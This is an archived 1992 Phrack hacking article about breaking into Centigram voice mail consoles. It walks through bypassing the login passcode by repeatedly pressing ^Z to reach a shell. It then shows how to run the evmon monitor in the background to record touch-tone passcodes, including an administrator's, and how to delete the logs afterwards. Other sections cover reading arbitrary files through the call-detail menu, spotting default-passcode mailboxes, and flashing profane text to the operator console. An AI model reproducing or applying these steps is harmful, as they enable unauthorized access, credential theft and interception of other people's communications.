home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack39.006 < prev    next >
Encoding:
Text File  |  2003-06-11  |  36.5 KB  |  856 lines

  1.                                 ==Phrack Inc.==
  2.  
  3.                   Volume Four, Issue Thirty-Nine, File 6 of 13
  4.  
  5.                      Centigram Voice Mail System Consoles
  6.             Proper Entry Procedure, Design Flaws, and Security Bugs
  7.  
  8.                                by >Unknown User<
  9.  
  10. *** Note from Phrack Staff:  This file was submitted to Phrack anonymously. ***
  11. *** The author used SMTP fake mail to send it to the Phrack e-mail address. ***
  12. *** Phrack cannot make any claims about the validity or the source of the   ***
  13. *** information found in this article.                                      ***
  14.  
  15.      Due to more efficient task-handling and the desire for a more "Unix-like"
  16. environment, the developers at Centigram needed for certain key functions to be
  17. available at all times.  For instance, the ^Z key acts as the "escape" key
  18. (these can be remapped, if desired).  When necessary for some applications to
  19. use an "escape" procedure, pressing this key can, in at least a few cases,
  20. cause a drop to shell, or /cmds/qnxsh (possibly /cmds/sh, as well, but I'm used
  21. to seeing qnxsh).  If this escape procedure was invoked during, say,
  22. /cmds/login, the resulting drop to shell would by-pass the "Enter Passcode:"
  23. message.  And it does.
  24.  
  25.      After calling the Centigram, normal procedure is to hit ^Z to activate the
  26. terminal, followed by the entry of the remote or console passcodes, and then
  27. proceeding with normal console activities.  However, if ^Z is continually
  28. depressed during the login sequence, the login program will abort and run
  29. /cmds/qnxsh.  The behavior may be somewhat erratic by the repeated use of the
  30. escape key, but when the $ prompt appears, usually, it doesn't deliberately go
  31. away without an "exit" command or a ^D.  Typically, a login pattern can develop
  32. to accommodate the erratic behavior something along the lines of:  continuously
  33. depress ^Z until $ prompt appears, hit return, possibly get "Enter Passcode:"
  34. message, hit return, and $ prompt appears again, set proper TTY setting, and
  35. change directory appropriately, and continue with normal console functions.
  36.  
  37. Initial STTY Setting:
  38.  
  39.      I've had problems with my terminal settings not being set properly during
  40. the above entry procedure.  I can correct this by using the "stty +echo +edit"
  41. command, and, for my terminal, all is restored.  The correct values for STTY
  42. options and keys appear to be:
  43.  
  44. Options: +echo +edit +etab +ers +edel +oflow +mapcr +hangup
  45.  break=03h     esc=1Ah     rub=7Fh     can=18h     eot=04h      up=15h
  46.   down=0Ah    left=08h     ins=0Eh     del=0Bh
  47.  
  48.      The keymap, of course, can be modified as desired, but the options,
  49. especially +edit, appear to be necessary.
  50.  
  51. Disks and Directories:
  52.  
  53.      The drives and directories are set up in a remotely MessDos fashion.  The
  54. output of a "pwd" command looks similar to "4:/".  "4:" represents the drive
  55. number, and "/" is the start of the directory structure, "4:/" being the root
  56. directory for drive 4, "3:/tmp" being the /tmp directory on drive 3, etc.
  57.  
  58.      The two most important directories are 1:/cmds and 4:/cmds, which contain,
  59. for the most part, the program files for all of the performable commands on the
  60. system, excluding the commands written into the shell.  The directory 1:/cmds
  61. should look similar to:
  62.  
  63. $ ls
  64.  backup        drel          ls            rm            talk
  65.  chattr        eo            mkdir         rmdir         tcap
  66.  choose        fdformat      mount         runfloppy     timer
  67.  clrhouse      files         p             search        tsk
  68.  cp            frel          pack          sh            unpack
  69.  date          get_boolean   patch         slay          ws
  70.  ddump         led           pwd           sleep         zap
  71.  diff          led.init      qnxsh         spatch
  72.  dinit         login         query         stty
  73.  
  74.      This is a display of many useful commands.  chattr changes the read/write
  75. file attributes, cp is copy, ddump dumps disk sectors in hex & ascii, led is
  76. the line editor, p is the file print utility, and a variety of other things
  77. that you can experiment with at your own leisure.  DO NOT USE THE TALK COMMAND.
  78. At least, be careful if you do.  If you try to communicate with your own
  79. terminal, it locks communication with the shell, and upon hangup, for some
  80. reason, causes a major system error and system-wide reboot, which, quite
  81. frankly, made me say, "Oops.  I'm not doing that again" when I called to check
  82. on the actual voice mailboxes, and the phone line just sat there, dead as old
  83. wood.  I was quite relieved that it came back up after a few minutes.
  84.  
  85.      The other directory, 4:/cmds, is filled with more specific commands
  86. pertaining to functions within the voice mail system itself.  These programs
  87. are actually run from within other programs to produce an easy-to-understand
  88. menu system.  Normally, this menu system is immediately run after the entry of
  89. the remote or console passcode, but it would not be run when using the
  90. aforementioned security bug.  It can be run from the shell simply by typing the
  91. name of the program, console.
  92.  
  93. Mounting and Initializing Drives:
  94.  
  95.      The MOUNT command produces results similar to this when run without
  96. arguments:
  97.  
  98. $ mount
  99. Drive 1:    Hard,  360k, offset =  256k, partition= Qnx
  100. Drive 2:  Floppy,  360k, p=1
  101. Drive 3: RamDisk,   96k, partition= Qnx
  102. Drive 4:    Hard,  6.1M, offset =  616k, partition= Qnx
  103. $tty0  = $con   ,     Serial at 03F8
  104. $tty1  = $term1 ,     Serial at 02F8
  105. $tty2  = $term2 ,     Serial at 0420
  106. $tty3  = $mdm   ,     Serial at 0428
  107.  
  108.      The hard and floppy drives are fairly self-explanatory, although I can't
  109. explain why they appear to be so small, nor do I know where the voice
  110. recordings go, or if this list contain all the space required for voice
  111. storage.
  112.  
  113.      The ramdisk, however, is a bit more interesting to me.  The mount command
  114. used for the above-mentioned disk 3 was:
  115.  
  116. $ mount ramdisk 3 s=96k -v
  117.  
  118.      Although I'm not sure what the -v qualifier does, the rest is fairly
  119. straight forward.  I assume that the size of the drive can be greater than 96k,
  120. although I haven't yet played with it to see how far it can go.  To initialize
  121. the drive, the following command was used:
  122.  
  123. $ dinit 3
  124.  
  125.      Quite simple, really.   Now, the drive is ready for use so one can "mkdir
  126. 3:/tmp" or some such and route files there as desired, or use it for whatever
  127. purpose.  If something is accidentally redirected to the console with >$cons,
  128. you can use the line editor "led" to create a temporary file and then use the
  129. print utility "p" to clear the console's screen by using "p filename >$cons"
  130. where filename contains a clear screen of 25 lines, or an ANSI bomb (if
  131. appropriate), or a full-screen DobbsHead or whatever you like.
  132.  
  133. EVMON and password collecting:
  134.  
  135.      The evmon utility is responsible for informing the system manager about
  136. the activity currently taking place within the voice mail system.  Run alone,
  137. evmon produces output similar to:
  138.  
  139. $ evmon
  140. Type Ctrl-C to terminate.
  141. ln  26 tt 3
  142. ln  26 line break
  143. ln  26 onhook
  144. ln  28 ringing
  145. ln  28 tt 8
  146. ln  28 tt 7
  147. ln  28 tt 6
  148. ln  28 tt 2
  149. ln  28 offhook
  150. ln  28 tt *
  151. ln  28 tt 2
  152. ln  28 tt 0
  153. ln  28 tt 3
  154. ln  28 tt 0
  155. ln  28 line break
  156. ln  28 onhook
  157. [...]
  158.  
  159. And so forth.  This identifies a certain phone line, such as line 28, and a
  160. certain action taking place on the line, such as the line ringing, going on or
  161. offhook, etc.  The "tt" stands for touch tone, and it is, of course, the tone
  162. currently played on the line; which means that touchtone entry of passcodes can
  163. be recorded and filed at will.  In the above example, the passcode for Mailbox
  164. 8762 is 2030 (the * key, along with the 0 key, can acts as the "user entering
  165. mailbox" key; it can, however, also be the abort key during passcode entry, and
  166. other things as well).  Now the user, of course, doesn't usually dial 8762 to
  167. enter his mailbox; he simply dials the mailbox number and then * plus his
  168. passcode; the reason for this is the type of signalling coming from the switch
  169. to this particular business line was set-up for four digit touch tone ID to
  170. route the line to the appropriate called number.  This is not the only method
  171. of signalling, however, as I've seen other businesses that use three digit
  172. pulse signalling, for example, and there are others as well.  Each may have
  173. it's own eccentricities, but I would imagine that the line ID would be
  174. displayed with EVMON in most cases.
  175.  
  176.      Now, let's say we're on-line, and we want to play around, and we want to
  177. collect passcodes.  We've set up our ramdisk to normal size and we are ready to
  178. run evmon.  We could run it, sit at our terminal, and then record the output,
  179. but it's such a time consuming task (this is "real-time," after all) that
  180. sitting and waiting be nearly pointless.  So, we use the handy features of
  181. run-in-background and file-redirection (see, I told you we were getting
  182. "Unix-like").
  183.  
  184. $ evmon > 3:/tmp/output &
  185. Type Ctrl-C to terminate.
  186. 5e1e
  187. $ ...
  188.  
  189.      5e1e is the task ID (TID) of the new evmon process.  Now we can go off and
  190. perform whatever lists we want, or just play in the directories, or route
  191. DobbsHeads or whatever.  When we decide to end for the day, we simply stop
  192. EVMON, nab the file, remove it, and if necessary, dismount the ramdisk.
  193.  
  194. $ kill 5e1e
  195. $ p 3:/tmp/output
  196. [ EVMON output would normally appear; if, however, ]
  197. [ there is none, the file would be deleted during  ]
  198. [ the kill with an error message resulting         ]
  199. $ rm 3:/tmp/output
  200. $ rmdir 3:/tmp
  201. $ mount ramdisk 3
  202.  
  203.      and now we can ^D or exit out of the shell and say good-bye.
  204.  
  205.      The good thing about this EVMON procedure is that you don't need to be
  206. on-line while it runs.  You could start a task sometime at night and then wait
  207. until the next day before you kill the process and check your results.  This
  208. usually produces large log files anywhere from 40K to 200K, depending upon the
  209. amount of system usage (these figures are rough estimates).  If, however, you
  210. start the EVMON task and leave it running, then the administrator will not be
  211. able to start a new EVMON session until the old task is killed.  While this
  212. probably shouldn't be a problem over the weekends, during business hours it may
  213. become a little risky.
  214.  
  215.      Remember though, that the risk might be worth it, especially if the
  216. administrator decides to check his mailbox; you'd then have his passcode, and,
  217. possibly, remote telephone access to system administrator functions via touch-
  218. tone on the mailbox system.
  219.  
  220. Task management:
  221.  
  222.      As we have just noted, any task like EVMON can be run in the background by
  223. appending the command line with a &, the standard Unix "run-in-background"
  224. character.  A Task ID will echo back in hexadecimal, quite comparable to the
  225. Unix Process ID.  The program responsible for task management is called "tsk"
  226. and should be in 1:/cmds/tsk.  Output from running tsk alone should look
  227. something like:
  228.  
  229. $ tsk
  230. Tty Program         Tid  State Blk  Pri   Flags     Grp Mem Dad  Bro  Son
  231.   0 task            0001 READY ----  1 ---IPLA----- 255 255 ---- ---- ----
  232.   0 fsys            0002 RECV  0000  3 ---IPLA----- 255 255 ---- ---- ----
  233.   0 dev             0003 RECV  0000  2 ---IPLA----- 255 255 ---- ---- ----
  234.   0 idle            0004 READY ---- 15 ----PLA----- 255 255 ---- ---- 0508
  235.   0 /cmds/timer     0607 RECV  0000  2 -S--P-AC---- 255 255 ---- ---- ----
  236.   0 /cmds/err_log   0509 RECV  0000  5 -S--P--C---- 255 255 0A0A ---- ----
  237.   0 /cmds/ovrseer   0A0A REPLY 0607  5 -S--P--C---- 255 255 ---- ---- 030C
  238.   0 /cmds/recorder  010B REPLY 0509  5 -S--P--C---- 255 255 0A0A 0509 ----
  239.   0 /cmds/master    030C REPLY 0607  5 -S--P--C---- 255 255 0A0A 010B 011C
  240.               [ ... a wide assortment of programs ... ]
  241.   0 /cmds/vmemo     011C REPLY 0110 13 -S-----C---- 255 255 030C 011B ----
  242.   3 /cmds/comm      0508 RECV  5622  8 ----P-A----- 255 255 0004 ---- 5622
  243.   3 /cmds/tsk       051D REPLY 0001  8 ------------ 255 255 301E ---- ----
  244.   3 /cmds/qnxsh     301E REPLY 0001 14 ---------E-- 255 255 5622 ---- 051D
  245.   3 /cmds/login     5622 REPLY 0003  8 -------C---- 255 255 0508 ---- 301E
  246.  
  247.      Although I'm not quite sure at some of the specifics displayed in this
  248. output, the important parts are obvious.  The first column is the TTY number
  249. which corresponds to the $tty list in "mount" (meaning that the modem I've just
  250. called is $tty3, and I am simultaneously running four tasks from that line);
  251. the second column is the program name (without the drive specification); the
  252. third column is the task ID; the middle columns are unknown to me; and the last
  253. three represent the ties and relations to other tasks (parent task ID, another
  254. task ID created from the same parent, and task ID of any program called).
  255.  
  256.      Knowing this, it's easy to follow the tasks we've created since login.
  257. Initially, task 0508, /cmds/comm, was run, which presumably contains the
  258. requisite "what should I do now that my user has pressed a key?" functions,
  259. which called /cmds/login to log the user in.  Login was interrupted with ^Z and
  260. one of the shells, qnxsh, was called to handle input from the user.  Finally,
  261. the typing of "tsk" requires that the /cmds/tsk program be given a task ID, and
  262. the output of the program is simply confirming that it exists.
  263.  
  264.      As mentioned, to kill a task from the shell, simply type "kill [task-id]"
  265. where [task-id] is the four digit hexadecimal number.
  266.  
  267.      There are other functions of the tsk program as well.  The help screen
  268. lists:
  269.  
  270. $ tsk ?
  271. use: tsk [f=$cmoprst] [p=program] [t=tty] [u=userid]
  272.      tsk code [p=program]
  273.      tsk info
  274.      tsk mem t=tid
  275.      tsk names
  276.      tsk size [p=program] [t=tty] [u=userid]
  277.      tsk ports
  278.      tsk tsk
  279.      tsk tree [+tid] [+all] [-net]
  280.      tsk users [p=program] [t=tty] [u=userid]
  281.      tsk vcs
  282.      tsk who tid ...
  283. options: +qnx -header +physical [n=]node s=sort_field
  284.  
  285.      I haven't seen all the information available from this, yet, as the plain
  286. "tsk" tells me everything I need to know; however, you may want to play around:
  287. there's no telling what secrets are hidden...
  288.  
  289. $ tsk tsk
  290. Tsk tsk? Have I been a bad computer?
  291.  
  292.      See what I mean?
  293.  
  294. ddump:
  295.  
  296.      The ddump utility is used to display the contents on a specified blocks of
  297. the disk.  It's quite simple to use.
  298.  
  299. $ ddump ?
  300. use: ddump drive block_number [-v]
  301.  
  302.      Again, I'm not quite sure what the -v switch does, but the instructions
  303. are very straightforward.  Normal output looks similar to:
  304.  
  305. $ ddump 3 3
  306. Place diskette in drive 3 and hit <CR>     <-- this message is always
  307.                                                displayed by ddump.
  308. Block 00000003  Status: 00
  309. 000:  00 00 00 00 00 00 00 00 94 00 00 00 00 00 00 00 ................
  310. 010:  01 00 01 00 40 02 00 00 00 02 00 00 00 00 00 00 ....@...........
  311. 020:  00 01 00 FF FF 00 00 97 37 29 17 00 01 01 01 30 ........7).....0
  312. 030:  C4 17 8E 62 69 74 6D 61 70 00 00 00 00 00 00 00 ...bitmap.......
  313. 040:  00 00 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 ................
  314. 050:  00 00 00 FF FF 00 00 A5 37 29 17 00 01 01 17 30 ........7).....0
  315. 060:  C4 25 8E 6C 6C 6C 00 00 00 00 00 00 00 00 00 00 .%.lll..........
  316. 070:  00 00 00 00 50 0E 00 00 00 0E 00 00 00 00 00 00 ....P...........
  317. 080:  00 01 00 FF FF 7E 05 A8 38 29 17 00 01 01 17 30 .....D..8).....0
  318. 090:  C4 28 8F 61 62 63 00 00 00 00 00 00 00 00 00 00 .(.abc..........
  319. 0A0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  320. 0B0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  321. [...etc...]
  322.  
  323.      As you can probably notice, what we have here is the directory track for
  324. the ramdisk.  It lists three files, even though the file abc no longer exists.
  325. The actual bytes have yet to be decoded, but, as far as the ramdisk goes, I
  326. suspect that they'll be memory related, and not physical block related; that
  327. is, I suspect that some of the numbers given above correspond to the memory
  328. address of the file, and not to the actual disk-block.  So, at least for the
  329. ramdisk, finding specific files may be difficult.  However, if you only have
  330. one file on the ramdisk besides "bitmap" (which appears to be mandatory across
  331. all the disks), then the next file you create should reside on track 4 and
  332. continue working its way up.  Therefore, if you have evmon running and
  333. redirected to a file on the ramdisk, in order to check the contents, it's not
  334. necessary to kill the process and restart evmon, etc.  Simply "ddump 3 4" and
  335. you could get either useless information (all the bytes are 00 or FF), or you
  336. could get something like:
  337.  
  338. $ ddump 3 4
  339. Place diskette in drive 3 and hit <CR>
  340.  
  341. Block 00000004  Status: 00
  342. 000:  00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 ................
  343. 010:  6C 6E 20 20 32 36 20 74 74 20 33 1E 6C 6E 20 20 ln  26 tt 3.ln
  344. 020:  32 36 20 6C 69 6E 65 20 62 72 65 61 6B 1E 6C 6E 26 line break.ln
  345. 030:  20 20 32 36 20 6F 6E 68 6F 6F 6B 1E 6C 6E 20 20   26 onhook.ln
  346. 040:  32 38 20 72 69 6E 67 69 6E 67 1E 6C 6E 20 20 32 28 ringing.ln  2
  347. 050:  38 20 74 74 20 38 1E 6C 6E 20 20 32 38 20 74 74 8 tt 8.ln  28 tt
  348. 060:  20 37 1E 6C 6E 20 20 32 38 20 74 74 20 36 1E 6C  7.ln  28 tt 6.l
  349. 070:  6E 20 20 32 38 20 74 74 20 32 1E 6C 6E 20 20 32 n  28 tt 2.ln  2
  350. 080:  38 20 6F 66 66 68 6F 6F 6B 1E 6C 6E 20 20 32 38 8 offhook.ln  28
  351. 090:  20 74 74 20 2A 1E 6C 6E 20 20 32 38 20 74 74 20  tt *.ln  28 tt
  352.  
  353.      And so forth, thus making sure that the file does have some content.
  354. Depending upon the length of that content, you could then choose to either keep
  355. the file running, or restart evmon and buffer the previous output.
  356.  
  357. led:
  358.  
  359.      The program "led" is Centigram's answer to a standard text editor.  It is
  360. equivalent to "ed" in Unix or "edlin" in MS-DOS, but it does have its minor
  361. differences.  "led" is used to create text files, edit existing log files, or
  362. edit executable shell scripts.  By typing "led [filename]", you will enter the
  363. led editor, and if a filename is specified, and it exists, the file will be
  364. loaded and the editor set to line 1.  If there is no filename on the command
  365. line, the file does not exist, or the file is busy, then led begins editing a
  366. null file, an empty buffer, without the corresponding filename.
  367.  
  368.      Commands can also be specified to be used in led after the filename is
  369. entered.  If needed, you can experiment with this.
  370.  
  371.  Notable commands from within led:
  372.  
  373.    i             insert
  374.    a             append
  375.    w [filename]  write to disk; if no file is named, attempt to
  376.                  write to current file; if there is no current
  377.                  file, do not write.
  378.    d             delete current line
  379.    a number      goto line numbered
  380.    q             quit (if not saved, inform user to use "qq")
  381.    qq            really quit
  382.  
  383.      When inserting or appending, led will prompt you with a "." period.  To
  384. end your entry, simply enter one period alone on a line and you will then
  385. return to command mode.  When displaying the current entry, led will prefix all
  386. new, updated lines, with the "i" character.
  387.  
  388.      The key sequence to enter a DobbsHead into a file and redirect it to the
  389. console, then, would be:
  390.  
  391. $ led 3:/dobbshead
  392. 3:/dobbshead : unable to match file
  393. i
  394. .               ___
  395. .           .  /   X
  396. .           . | o o |
  397. .           . |  Y  |
  398. .           U=====  |
  399. .              X___/
  400. .           FUCK YOU!
  401. q
  402. ?4 buffer has been modified, use qq to quit without saving
  403. w 3:/dobbshead
  404. 7 [the number of lines in the file]
  405. q
  406. $ p 3:/dobbshead > $cons
  407. $ rm 3:/dobbshead
  408.  
  409.      Ok, so it's not quite the DobbsHead.  Fuck you.
  410.  
  411. The console utility:
  412.  
  413.      The program that acts as the menu driver for the Voice Mail System
  414. Administration, the program that is normally run upon correct passcode entry,
  415. is /cmds/console.  This program will simply produce a menu with a variety of
  416. sub-menus that allow the administrator to perform a wide assortment of tasks.
  417. Since this is mostly self-explanatory, I'll let you find out about these
  418. functions for yourself; I will, however, add just a few comments about the
  419. console utility.  The first menu received should look like this:
  420.  
  421. (c) All Software Copyright 1983, 1989 Centigram Corporation
  422. All Rights Reserved.
  423.  
  424.          MAIN MENU
  425.  
  426. (M) Mailbox maintenance
  427. (R) Report generation
  428. (S) System maintenance
  429. (X) Exit
  430.  
  431. Enter letter in () to execute command.
  432. When you need help later, type ?.
  433.  
  434. COMMAND (M/R/S/X):
  435.  
  436.      The mailbox maintenance option is used when you want to find specific
  437. information concerning mailboxes on the system.  For instance, to get a listing
  438. of all the mailboxes currently being used on the system:
  439.  
  440. COMMAND (M/R/S/X): m
  441.  
  442.     MAILBOX MAINTENANCE
  443.  
  444. (B) Mailbox block inquiry
  445. (C) Create new mailboxes
  446. (D) Delete mailboxes
  447. (E) Mailbox dump
  448. (I) Inquire about mailboxes
  449. (L) List maintenance
  450. (M) Modify mailboxes
  451. (P) Set passcode/tutorial
  452. (R) Rotational mailboxes
  453. (S) Search for mailboxes
  454. (X) Exit
  455.  
  456. If you need help later, type ?.
  457.  
  458. COMMAND (B/C/D/E/I/L/M/P/R/S/X): i
  459. Report destination (c/s1/s2) [c]:
  460.  
  461. Mailbox to display: 0000-9999
  462.  
  463.                                  >>> BOBTEL <<<
  464.                               Mailbox Data Inquiry
  465.                             Tue Mar 31, 1992  3:07 am
  466.  
  467. Box        Msgs Unp Urg Rec   Mins FCOS LCOS GCOS NCOS MWI           Passwd
  468. 8001         1   1   0   0     0.0 5    5    1    1   None           Y
  469. 8002         0   0   0   0     0.0 5    5    1    1   None           Y (t)
  470. 8003         0   0   0   0     0.0 12   12   1    1   None           Y
  471. 8005         0   0   0   0     0.0 12   12   1    1   None           Y
  472. 8006         6   6   0   0     0.7 12   12   1    1   None           N
  473. 8008         0   0   0   0     0.0 5    5    1    1   None           Y
  474. 8013         0   0   0   0     0.0 12   12   1    1   None           1234
  475. 8014         0   0   0   0     0.0 5    5    1    1   None           Y
  476. 8016         0   0   0   0     0.0 12   12   1    1   None           Y
  477. [ ... etc ... ]
  478.  
  479.      This simply lists every box along with the relevant information concerning
  480. that box.  Msgs, Unp, Urg, Rec are the Total number of messages, number of
  481. unplayed messages, number of urgent messages, and number of received messages
  482. currently being stored on the drive for the mailbox; Mins is the numbers of
  483. minutes currently being used by those messages; F, L, G, and NCOS are various
  484. classes of service for the mailboxes; MWI is the message waiting indicator, or
  485. service light; and Passwd is simply a Yes/No condition informing the
  486. administrator whether the mailbox currently has a password.  The "(t)" in the
  487. password field means the box is currently in tutorial mode, and the "1234" that
  488. replaces the Y/N condition, which means the box is set to initial tutorial mode
  489. with simple passcode 1234 -- in other words the box is available to be used by
  490. a new subscriber.  Mailboxes with FCOS of 1 should be looked for: these
  491. represent administration or service mailboxes, although they are not
  492. necessarily capable of performing system administration functions.
  493.  
  494.      The System Maintenance option from the main menu is very useful in that,
  495. if you don't have access to the qnxsh, you can still run a number of tasks or
  496. print out any file you wish from within the menu system.  The System
  497. Maintenance menu looks like:
  498.  
  499.          SYSTEM MAINTENANCE
  500.  
  501. (A) Automatic Wakeup
  502. (B) Automated Receptionist Extensions
  503. (D) Display modem passcode
  504. (E) Enable modem/serial port
  505. (F) Floppy backup
  506. (G) Resynchronize HIS PMS room status
  507. (H) Hard Disk Utilities
  508. (L) Lights test
  509. (M) Manual message purge
  510. (N) System name
  511. (P) Passcode
  512. (R) Reconfiguration
  513. (S) System shutdown
  514. (T) Time and date
  515. (U) Utility menu
  516. (V) Call Detail Recorder
  517. (W) Network menu
  518. (X) Exit
  519.  
  520. Enter letter in () to execute command.
  521. When you need help later, type ?.
  522.  
  523. COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X):
  524.  
  525.      If you don't have access to the "p" command, you can still display any
  526. specific file on the drive that you wish to see.  Choose "v," the Call Detail
  527. Recorder option from above, and you will get this menu:
  528.  
  529. COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): v
  530. Warning: cdr is not running.
  531.  
  532. CALL DETAIL RECORDER MENU
  533.  
  534. (C) Configure CDR
  535. (R) Run CDR
  536. (T) Terminate CDR
  537. (E) Run EVMON
  538. (F) Terminate EVMON
  539. (S) Show CDR log file
  540. (D) Delete CDR log file
  541. (X) Exit
  542.  
  543. If you need help later, type ?.
  544.  
  545. COMMAND (C/R/T/E/F/S/D/X):
  546.  
  547.      From here, you can use (C) Configure CDR to set the log file to any name
  548. that you want, and use (S) to print that file to your terminal.
  549.  
  550. COMMAND (C/R/T/E/F/S/D/X): c
  551.  
  552. Answer the following question to configure call detail recorder
  553. [ simply hit return until the last "filename" question come up ]
  554. VoiceMemo line numbers enabled:
  555. HOST 1 lines:
  556.  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
  557. 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
  558. VoiceMemo line numbers:
  559.  
  560. EVMON: HOST 1 lines to monitor:
  561.  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
  562. 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
  563. EVMON:VoiceMemo line numbers:
  564. Message levels are:
  565.      1:  Detailed VoiceMemo
  566.      2:  VoiceMemo
  567.      3:  Pager
  568.      4:  Receptionist
  569.      5:  EVMON
  570.      6:  Automatic WakeUp
  571.      7:  Open Account Administrator
  572.      8:  DTMF to PBX
  573.      9:  Message Waiting Lamp
  574.     10:  SL-1 integration
  575.     11:  Centrex Integration
  576. Message levels enabled:
  577.  2  3  7  9
  578. Message levels:
  579. cdr enable = [N]
  580. Enter filename to save log data = [/logfile] /config/remote.cmds
  581.  
  582. Returning from the CDR configuration.
  583.  
  584. CALL DETAIL RECORDER MENU
  585.  
  586. (C) Configure CDR
  587. (R) Run CDR
  588. (T) Terminate CDR
  589. (E) Run EVMON
  590. (F) Terminate EVMON
  591. (S) Show CDR log file
  592. (D) Delete CDR log file
  593. (X) Exit
  594.  
  595. If you need help later, type ?.
  596.  
  597. COMMAND (C/R/T/E/F/S/D/X): s
  598. ad
  599. cd
  600. copy
  601. date
  602. dskchk
  603. evmon
  604. files
  605. ls
  606. mount
  607. p
  608. pwd
  609. query
  610. task
  611. tcap
  612. what
  613.  
  614.      Don't forget to return the filename back to its original name as shown in
  615. the [] field after you have finished.
  616.  
  617.      If you don't have access to the shell, you can also run EVMON, from the
  618. CDR menu, using option E.  It will simply start the evmon process displaying to
  619. your terminal, interruptable by the break character, ^C.  This, unfortunately,
  620. cannot be redirected or run in the background as tasks running from the shell
  621. can.  If, however, you have some time to kill, you may want to play with it.
  622.  
  623.      Also, from the System Maintenance menu, you can perform a number of shell
  624. tasks without direct access to the shell.  Option (U), Utilities Menu, has an
  625. option called Task.  This will allow you limited shell access, possibly with
  626. redirection and "&" back-grounding.
  627.  
  628. COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): U
  629.  
  630.          UTILITY MENU
  631.  
  632. (B) Reboot
  633. (H) History
  634. (T) Task
  635. (X) Exit
  636.  
  637. Enter letter in () to execute command.
  638. When you need help later, type ?.
  639.  
  640. COMMAND (B/H/T/X): t
  641.  
  642. Choose the following commands:
  643.              ad             cd           copy           date
  644.          dskchk          evmon          files             ls
  645.           mount              p            pwd          query
  646.            task           tcap           what
  647.  
  648. Enter a command name or "X" to exit: pwd
  649. 1:/
  650.  
  651. Choose the following commands:
  652.              ad             cd           copy           date
  653.          dskchk          evmon          files             ls
  654.           mount              p            pwd          query
  655.            task           tcap           what
  656.  
  657. Enter a command name or "X" to exit: evmon
  658. Type Ctrl-C to terminate.
  659. ln  29 ringing
  660. ln  29 tt 8
  661. ln  29 tt 0
  662. ln  29 tt 8
  663. ln  29 tt 6
  664. ln  29 offhook
  665. ln  29 record ended
  666. [ ... etc ... ]
  667.  
  668. A look at "ad":
  669.  
  670.      The program "ad" is called to dump information on a variety of things, the
  671. most useful being mailboxes.  Dumps of specific information about a mailbox can
  672. be done either in Mailbox format, or Raw Dump format.  Mailbox format looks
  673. like:
  674.  
  675. $ ad
  676. Type #: 0
  677. Mailbox #: 8486
  678. (M)ailbox, (D)ump ? m
  679.  
  680. MAILBOX: 8486
  681.  
  682. Login status:
  683.     Bad logs     = 3          Last log     = 03/26/92 12:19 pmVersion = 0
  684.  
  685. Configuration:
  686.     Name #       = 207314     Greeting     = 207309     Greeting2    = 0
  687.     Passcode     = XXXXXXXXXX Tutorial     = N          Extension    = 8486
  688.     Ext index    = 0          Attendant    =            Attend index = 0
  689.     Code         =            ID           = BOBTECH
  690.     Day_treat    = M          Night_treat  = M          Fcos         = 12
  691.     Lcos         = 12         Gcos         = 1          Ncos         = 1
  692.     Rot index    = 0          Rot period   = 0
  693.     Rot start    = --
  694.     wkup defined = N          wkup freq    = 0          wkup_intvl   = 0
  695.     wkup index   = 0          wkup number  =
  696.  
  697. Contents:
  698.     Motd_seq     = 8          Motd_played  = N          User_msgs    = 0
  699.     Caller_msgs  = 4          Sent_cpx_msgs= 0          Sent_fdx_msgs= 0
  700.     Sent_urg_msgs= 0          Tas_msgs     = 0          Pages        = 0
  701.     Receipt      = 0          Sent_to_node = 0          Urg_to_node  = 0
  702.     Net_urg_mlen = 0          Net_msgs_rcv = 0          Net_urg_rcv  = 0
  703.     Net_sent_node= 0          Net_send_nurg= 0          Net_send_rcp = 0
  704.     Greet_count  = 9          Successlogins= 1          Recpt_calls  = 0
  705.     Recpt_complt = 0          Recpt_busy   = 0          Recpt_rna    = 0
  706.     Recpt_msgs   = 0          Recpt_attend = 0          User_connect = 20
  707.     Clr_connect  = 22         Callp_connect= 0          Disk_use     = 498
  708.     Net_sent_mlen= 0          Net_rcvd_mlen= 0          Net_rcvd_urg = 0
  709.     Net_node_mlen= 0          Net_recip_mlen=0          Net_node_urg = 0
  710.     Text_msg_cnt = 0
  711.  
  712.  
  713. Message Queues:
  714.     TYPE           COUNT TOTAL HEAD TAIL  TYPE           COUNT TOTAL HEAD TAIL
  715.     Free             71   ---   58   55   Unplayed          0   ---   -1   -1
  716.     Played            2   0.5   56   57   Urgent            0   ---   -1   -1
  717.     Receipts          0   ---   -1   -1   Undelivered       0   ---   -1   -1
  718.     Future delivery   0   ---   -1   -1   Call placement    0   ---   -1   -1
  719.  
  720. Messages: 2
  721.  #  msg #   DATE    TIME   LENGTH      SENDER     PORT   FLAGS  MSG     SIBL
  722.                            (MINS)                               NXT PRV NXT PRV
  723. Played Queue
  724. 56 207126 03/26/92 12:17 pm    0.5 000000000000000  27 ------P-  57  -1  -1  -1
  725.  
  726. 57 207147 03/26/92 12:19 pm    0.1 000000000000000  29 ------P-  -1  56  -1  -1
  727.  
  728.      The Raw Dump format looks like:
  729. $ ad
  730. Type #: 0
  731. Mailbox #: 8487
  732. (M)ailbox, (D)ump ? d
  733.  
  734. HEX: 8487
  735. 000: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
  736. 010: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
  737. 020: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 34 38 |..............48|
  738. 030: 37 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |7...............|
  739. 040: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
  740. 050: 00 00 00 00 00 00 00 00 - 00 00 42 49 4f 54 45 43 |..........BOBTEC|
